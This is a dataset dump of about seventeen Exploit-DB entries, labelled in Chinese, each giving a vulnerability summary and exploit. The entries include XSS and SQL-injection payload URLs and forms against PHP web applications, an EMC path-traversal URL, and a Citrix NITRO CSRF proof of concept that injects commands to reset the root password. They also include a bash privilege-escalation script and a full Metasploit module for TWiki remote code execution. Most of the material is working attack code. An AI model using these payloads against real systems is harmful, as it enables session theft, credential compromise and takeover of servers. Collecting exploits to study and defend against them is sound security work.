QLWD/code_shield huggingface dataset:
标题: Telescope 0.9.2 - Markdown Persistent Cross-Site Scripting EDB-ID: 36463 CVE: 2014-5144 类型: WEBAPPS 平台: PHP 发布日期: 2015-03-21 漏洞利用脚本: # Exploit Title: Persistent XSS via Markdown on Telescope  <= 0.9.2
# Date: Aug 22 2014
# Exploit Author: shubs
# Vendor Homepage: http://www.telescopeapp.org/
# Software Link: https://github.com/TelescopeJS/Telescope
# Version: <= 0.9.2
# CVE : CVE-2014-5144

Telescope 0.9.2 and below suffer from a persistent cross site scripting
vulnerability due to the lack of input sanitisation and validation
performed when parsing markdown user input. An authenticated user can
include links, images, code blocks and more through markdown, in the form
of comments, posts or replies and more.

As an example, the following vectors below can be used in comments, posts
or replies to trigger the XSS:

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

Once posted as comments, the above markdown is converted to links without
any sanitisation. When such links are clicked, the vector is executed
successfully.

Screenshots:
http://i.imgur.com/6SQgUYd.png
http://i.imgur.com/6VeZasj.png URL: https://www.exploit-db.com/exploits/36463
标题: PHP Booking Calendar 10e - 'page_info_message' Cross-Site Scripting EDB-ID: 36468 CVE: 2011-5045 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/51119/info

PHP Booking Calendar is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PHP Booking Calendar 10e is vulnerable; other versions may also be affected. 

http://www.example.com/cal/details_view.php?event_id=1&date=2011-12-01&view=month&loc=loc1&page_info_message=[XSS] URL: https://www.exploit-db.com/exploits/36468
标题: Tiki Wiki CMS Groupware 8.1 - 'show_errors' HTML Injection EDB-ID: 36470 CVE: 2011-4551 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/51128/info

Tiki Wiki CMS Groupware is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. 

Tested with Firefox 7.01

Visit this URL

http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss=</style></script><script>alert(document.cookie)</script> -> blank site

But when you visit one of this pages, the XSS will be executed

http://www.example.com/tiki-8.1/tiki-login.php
http://www.example.com/tiki-8.1/tiki-remind_password.php

// browser source code

show_errors: &#039;y&#039;,
  xss: &#039;</style></script><script>alert(document.cookie)</script>&#039;
};

Another example:

http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss1=</style></script><script>alert(document.cookie)</script>
http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss2=</style></script><script>alert(document.cookie)</script>
http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss3=</style></script><script>alert(document.cookie)</script>

All of them will be executed!

// browser source code

show_errors: &#039;y&#039;,
 xss1: &#039;</style></script><script>alert(document.cookie)</script>&#039;,
 xss2: &#039;</style></script><script>alert(document.cookie)</script>&#039;,
 xss3: &#039;</style></script><script>alert(document.cookie)</script>&#039;
}; URL: https://www.exploit-db.com/exploits/36470
标题: BrowserCRM 5.100.1 - URI Cross-Site Scripting EDB-ID: 36450 CVE: 2011-5214 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/51060/info
  
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/modules/admin/admin_module_index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E
http://www.example.com/modules/calendar/customise_calendar_times.php/%22%3E%3Cscript%3Ealert%28document.cooki e%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/36450
标题: BrowserCRM 5.100.1 - 'parent_id' SQL Injection EDB-ID: 36448 CVE: 2011-5213 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/51060/info

Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/modules/Documents/version_list.php?parent_id=1%20AND%201=2%20--%202 URL: https://www.exploit-db.com/exploits/36448
标题: BrowserCRM 5.100.1 - 'framed' Cross-Site Scripting EDB-ID: 36451 CVE: 2011-5214 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/51060/info
   
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/licence/index.php?framed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/36451
标题: BrowserCRM 5.100.1 - 'clients.php' Cross-Site Scripting EDB-ID: 36453 CVE: 2011-5214 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/51060/info
     
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/pub/clients.php" method="post">

<input type="hidden" name="loginwww.example.com" value=&#039;"><script>alert(1);</script>&#039;>
<input type="hidden" name="login[username]" value=&#039;"><script>alert(2);</script>&#039;>
<input type="hidden" name="login[password]" value=&#039;"><script>alert(3);</script>&#039;>
<input type="hidden" name="login[webform]" value=&#039;"><script>alert(4);</script>&#039;>
<input type="hidden" name="login[disable_email_check]" value=&#039;"><script>alert(5);</script>&#039;>
<input type="hidden" name="login[client_email]" value=&#039;"><script>alert(6);</script>&#039;>
<input type="hidden" name="login[client_password]" value=&#039;"><script>alert(7);</script>&#039;>
<input type="submit" value="submit" id="btn">
</form> URL: https://www.exploit-db.com/exploits/36453
标题: BrowserCRM 5.100.1 - 'contact_id' SQL Injection EDB-ID: 36449 CVE: 2011-5213 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/51060/info
 
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/modules/Documents/index.php?id=1&contact_id=1%27%20OR%20%271%27=%271 URL: https://www.exploit-db.com/exploits/36449
标题: Opera Web Browser < 11.60 - Denial of Service / Multiple Vulnerabilities EDB-ID: 36443 CVE: 2011-4684 类型: DOS 平台: WINDOWS 发布日期: 2011-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/51027/info

The Opera Web browser is prone to multiple remote denial-of-service vulnerabilities and an unspecified vulnerability.

An attacker can exploit these issues to cause the affected application to crash, denying service to legitimate users.

Note: The impact of the unspecified vulnerability is not known. We will update this BID when more information emerges.

Versions prior to Opera Web Browser 11.60 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36443.zip URL: https://www.exploit-db.com/exploits/36443
标题: EMC M&R (Watch4net) - Directory Traversal EDB-ID: 36440 CVE: 2015-0516 类型: WEBAPPS 平台: JAVA 发布日期: 2015-03-19 漏洞利用脚本: Abstract


A path traversal vulnerability was found in EMC M&R (Watch4net) Device Discovery. This vulnerability allows an attacker to access sensitive files containing configuration data, passwords, database records, log data, source code, and program scripts and binaries.

Affected products


EMC reports that the following products are affected by this vulnerability:

- EMC M&R (Watch4Net) versions prior 6.5u1
- EMC ViPR SRM versions prior to 3.6.1

See also


- CVE-2015-0516
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities (login required)

Fix


EMC released the following updated versions that resolve this vulnerability:

- EMC M&R (Watch4Net) 6.5u1
- EMC ViPR SRM 3.6.1

Registered customers can download upgraded software from support.emc.com at https://support.emc.com/downloads/34247_ViPR-SRM.

Introduction


EMC M&R (formerly known as Watch4net) enables cross-domain performance monitoring of infrastructure and data center components in real-time - from a single, customizable dashboard.

A path traversal vulnerability was found in M&R (Watch4net) Device Discovery. Path traversal vulnerabilities arise when user-controllable data is used insecurely within a file system operation. Typically, a user-supplied filename is appended to a directory prefix in order to read or write the contents of a file.

Details


This vulnerability can be trigger via de fileFileName URL parameter of the /device-discovery/devicesource/downloadSeedFile page. An authenticated attacker can supply path traversal sequences to break out of the intended download directory and read files elsewhere on the file system. This allows the attacker to access sensitive files containing configuration data, passwords, database records, log data, source code, and program scripts and binaries.

The following URL can be used to demonstrate this issue:

http://<target>:58080/device-discovery/devicesource/downloadSeedFile?fileFileName=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts URL: https://www.exploit-db.com/exploits/36440
标题: BrowserCRM 5.100.1 - 'login[]' Cross-Site Scripting EDB-ID: 36454 CVE: 2011-5214 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/51060/info
      
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/index.php" method="post">
<input type="hidden" name="loginwww.example.com" value=&#039;"><script>alert(1);</script>&#039;>
<input type="hidden" name="login[password]" value=&#039;"><script>alert(2);</script>&#039;>
<input type="hidden" name="login[rebuild_cache]" value=&#039;"><script>alert(3);</script>&#039;>
<input type="hidden" name="login[remember_me]" value=&#039;"><script>alert(4);</script>&#039;>
<input type="hidden" name="login[skin]" value=&#039;"><script>alert(5);</script>&#039;>
<input type="hidden" name="login[username]" value=&#039;"><script>alert(6);</script>&#039;>
<input type="submit" value="submit" id="btn">
</form> URL: https://www.exploit-db.com/exploits/36454
标题: Citrix Nitro SDK - Command Injection EDB-ID: 36442 CVE: 2015-2838 类型: WEBAPPS 平台: LINUX 发布日期: 2015-03-19 漏洞利用脚本: Abstract


Securify discovered a command injection vulnerability in xen_hotfix page of the NITRO SDK. The attacker-supplied command is executed with elevated privileges (nsroot). This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data.

Tested version


This issue was discovered in Citrix NetScaler SDX svm-10.5-50-1.9, other versions may also be affected.

Fix


Citrix reports that this vulnerability is fixed in NetScaler 10.5 build 52.3nc.

Introduction


The Citrix NetScaler SDX platform delivers fully isolated NetScaler instances running on a single appliance. Each instance is a full-blown NetScaler environment, which optimizes delivery of applications over the Internet and private networks. The NITRO SDK allows you to configure and monitor the NetScaler appliance programmatically. NITRO exposes its functionality through REST interfaces. A Cross-Site Scripting vulnerability was found in one of the REST services exposed by the NITRO SDK.

Administrators can upload XenServer hotfixes to the Citrix SDX appliance. The REST interface responsible for handling these hotfixes is vulnerable to command injection.

Details


This vulberability exists because the file_name parameter submitted to the /nitro/v1/config/xen_hotfix page used in a shell command without proper input validation/sanitation, introducing a command execution vulnerability. The shell command is executed with elevated privileges (nsroot), which allows attackers to run arbitrary commands with these privileges. This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data.

The following proof of concept can be used to exploit this issue;
<html>
   <body>
      <form action="https://SDXHOSTIP/nitro/v1/config/xen_hotfix" method="POST">
         <input type="hidden" name="object" value="&#123;"params"&#58;&#123;"action"&#58;"start"&#125;&#44;"xen&#95;hotfix"&#58;&#91;&#123;"file&#95;name"&#58;"&#46;&#46;&#47;&#46;&#46;&#47;etc&#47;passwd&#59;echo&#32;nsroot&#58;Securify&#124;chpasswd&#59;"&#125;&#93;&#125;" />
         <input type="submit" value="Submit request" />
      </form>
      <script>document.forms[0].submit();</script>
   </body>
</html>



POST /nitro/v1/config/xen_hotfix HTTP/1.1
-----------------------------------------

object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"../../etc/passwd;reboot;"}]}

or

object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"%3a"../../etc/passwd;echo nsroot:han|chpasswd;"}]}


Due to insufficient Cross-Site Request Forgery protection, it is possible to exploit this issue by tricking a logged in admin user into visiting a specially crafted web page. URL: https://www.exploit-db.com/exploits/36442
标题: Citrix Command Center - Credential Disclosure EDB-ID: 36441 CVE: 2015-2682 类型: WEBAPPS 平台: XML 发布日期: 2015-03-19 漏洞利用脚本: Abstract


It was discovered that Citrix Command Center stores configuration files containing credentials of managed devices within a folder accessible through the web server. Unauthenticated attackers can download any configuration file stored in this folder, decode passwords stored in these files, and gain privileged access to devices managed by Command Center.

Tested version


This issue was discovered in Citrix Command Center 5.1 build 33.3 (including patch CC_SP_5.2_40_1.exe), other versions may also be vulnerable.

Fix


Citrix reports that this vulnerability is fixed in Command Center 5.2 build 42.7, which can be downloaded from the following location (login required).
https://www.citrix.com/downloads/command-center/product-software/command-center-52-427.html

Citrix assigned BUG0493933 to this issue.

Introduction


Citrix Command Center is a management and monitoring solution for Citrix application networking products. Command Center enables network administrators and operations teams to manage, monitor, and troubleshoot the entire global application delivery infrastructure from a single, unified console.

Citrix Command Center stores configuration files containing credentials of managed devices within a folder accessible through the web server. No access control is enforced on this folder, an unauthenticated attacker can download any configuration file stored in this folder.

Details


Configuration files can be downloaded from the conf web folder. Below is an example of a configuration file that can be obtained this way.

https://<target>:8443/conf/securitydbData.xml

This files contains encoded passwords, for example:

<DATA ownername="NULL" password="C70A0eE9os9T2z" username="root"/>


These passwords can be decoded trivially. The algorithm used can be found in the JAR file NmsServerClasses.jar. For example the encoded password C70A0eE9os9T2z decodes to SECURIFY123. The credentials stored in these files can than be used to gain privileged access to devices managed by Command Center. URL: https://www.exploit-db.com/exploits/36441
标题: Pulse Pro 1.7.2 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36447 CVE: 2011-5041 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/51056/info

Pulse Pro is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pulse Pro 1.7.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?p=blocks&d="><script>alert(1)</script>
http://www.example.com/index.php?p=edit-post&post_id="><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/36447
标题: HomeSeer HS2 2.5.0.20 - Web Interface Log Viewer Page URI Cross-Site Scripting EDB-ID: 36429 CVE: 2011-4836 类型: REMOTE 平台: HARDWARE 发布日期: 2011-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/50978/info

HS2 web interface is prone to multiple security vulnerabilities:

1. An HTML-injection vulnerability.
2. A cross-site request-forgery vulnerability.
3. A directory-traversal vulnerability.

Attackers can exploit these issues to perform certain actions in the context of an authorized user's session, run arbitrary HTML and script code, and transfer files outside of the web directory. Other attacks may also be possible.

HomeSeer HS2 2.5.0.20 is vulnerable; prior versions may also be affected. 

http://www.example.com/example<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/36429
标题: HP Application Lifestyle Management 11 - 'GetInstalledPackages' Local Privilege Escalation EDB-ID: 36430 CVE: 2011-4834 类型: LOCAL 平台: LINUX 发布日期: 2011-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/50982/info

HP Application Lifestyle Management is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to execute arbitrary code with elevated privileges. 

#!/bin/bash
# Simple PoC : Run as user, when vulnerable function is called
# /home/user/binary_to_run_as_root is run as root.
cat > file << EOF
Child Components
0a29406d9794e4f9b30b3c5d6702c708
\`/home/user/binary_to_run_as_root\`
EOF
mkfifo /tmp/tmp.txt                     # set trap
cat /tmp/tmp.txt                        # blocks for victim
while [ -e /tmp/tmp.txt ]; do
       cat file > /tmp/tmp.txt
       sleep 2
done
rm file URL: https://www.exploit-db.com/exploits/36430
标题: TWiki Debugenableplugins - Remote Code Execution (Metasploit) EDB-ID: 36438 CVE: 2014-7236 类型: REMOTE 平台: PHP 发布日期: 2015-03-19 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'TWiki Debugenableplugins Remote Code Execution',
      'Description' => %q{
        TWiki 4.0.x-6.0.0  contains a vulnerability in the Debug functionality.
        The value of the debugenableplugins parameter is used without proper sanitization
        in an Perl eval statement which allows remote code execution
      },
      'Author' =>
        [
          'Netanel Rubin', # from Check Point - Discovery
          'h0ng10', # Metasploit Module

        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'CVE', '2014-7236'],
          [ 'OSVDB', '112977'],
          [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236']
        ],
      'Privileged' => false,
      'Targets' =>
        [
          [ 'Automatic',
            {
              'Payload'        =>
                {
                  'BadChars' => "",
                  'Compat'      =>
                    {
                      'PayloadType' => 'cmd',
                      'RequiredCmd' => 'generic perl python php',
                    }
                },
              'Platform' => ['unix'],
              'Arch' => ARCH_CMD
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 09 2014'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]),
        OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin'])
      ], self.class)
  end


  def send_code(perl_code)
    uri = target_uri.path
    data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit"

    res = send_request_cgi!({
      'method' => 'POST',
      'uri' => uri,
      'data' => data
    })

    return res
  end


  def check
    rand_1 = rand_text_alpha(5)
    rand_2 = rand_text_alpha(5)

    code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")"
    res = send_code(code)

    if res and res.code == 200
      return CheckCode::Vulnerable if res.body == rand_1 + rand_2
    end
    CheckCode::Unknown
  end


  def exploit
    code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");"
    code += "require('MIME/Base64.pm');MIME::Base64->import();"
    code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
    res = send_code(code)
    handler

  end

end URL: https://www.exploit-db.com/exploits/36438